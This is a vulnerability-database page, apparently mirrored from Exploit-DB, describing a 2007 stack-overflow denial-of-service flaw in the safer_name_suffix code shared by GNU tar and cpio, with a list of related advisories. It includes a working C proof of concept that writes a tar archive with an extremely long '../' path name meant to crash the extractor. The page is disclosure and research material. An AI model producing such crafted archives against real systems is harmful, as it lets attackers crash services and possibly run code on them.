Lucene search
+L

GNU TAR 1.15.91 / CPIO 2.5.90 - 'safer_name_suffix' Remote Denial of Service

🗓️ 14 Nov 2007 00:00:00Reported by Dmitry V. LevinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

GNU TAR and CPIO utilities vulnerable to remote denial of service due to insecure 'alloca()' function use. Exploiting this allows attackers to crash the utilities and potentially execute code. Both utilities share the same vulnerable code

Related
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
gtar -- GNU TAR safer_name_suffix Remote Denial of Service Vulnerability
14 Nov 200700:00
freebsd
bdu_fstec
BDU FSTEC
Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information
6 Jul 201600:00
bdu_fstec
bdu_fstec
BDU FSTEC
Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information
7 Jul 201600:00
bdu_fstec
bdu_fstec
BDU FSTEC
Vulnerabilities of the Red Hat Enterprise Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
bdu_fstec
BDU FSTEC
Vulnerabilities of the Red Hat Enterprise Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
bdu_fstec
BDU FSTEC
Vulnerabilities of the CentOS operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
bdu_fstec
BDU FSTEC
Vulnerabilities of the CentOS operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
nessus
Tenable Nessus
CentOS 4 / 5 : tar (CESA-2010:0141)
17 Mar 201000:00
nessus
nessus
Tenable Nessus
CentOS 5 : cpio (CESA-2010:0144)
17 Mar 201000:00
nessus
nessus
Tenable Nessus
Debian DSA-1438-1 : tar - several vulnerabilities
31 Dec 200700:00
nessus
Rows per page
// source: https://www.securityfocus.com/bid/26445/info

GNU's tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the 'alloca()' function.

Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed.

GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected.

/*
 * paxlib's safer_name_suffix() stack overflow reproducer.
 */

#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <libtar.h>

int main(int ac, const char *av[])
{
	struct rlimit r;
	unsigned count, i;
	char *s;
	TAR *t;

	if (ac != 2)
		error(1, 0, "exactly two arguments expected");

	if (getrlimit(RLIMIT_STACK, &r))
		error(1, errno, "getrlimit RLIMIT_STACK");

	count = r.rlim_cur / 3 + 1;
	if (!(s = malloc(count * 3 + 1)))
		error(1, errno, "malloc: %u", count * 3 + 1);

	for (i = 0; i < count; ++i)
		memcpy(s + i * 3, "../", 3);
	s[count * 3] = '\0';

	if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
		error(1, errno, "tar_open: %s", av[1]);

	if (tar_append_file(t, "/dev/null", s))
		error(1, errno, "tar_append_file: %s", av[1]);

	if (tar_close(t))
		error(1, errno, "tar_close");

	return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2017 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.14902
38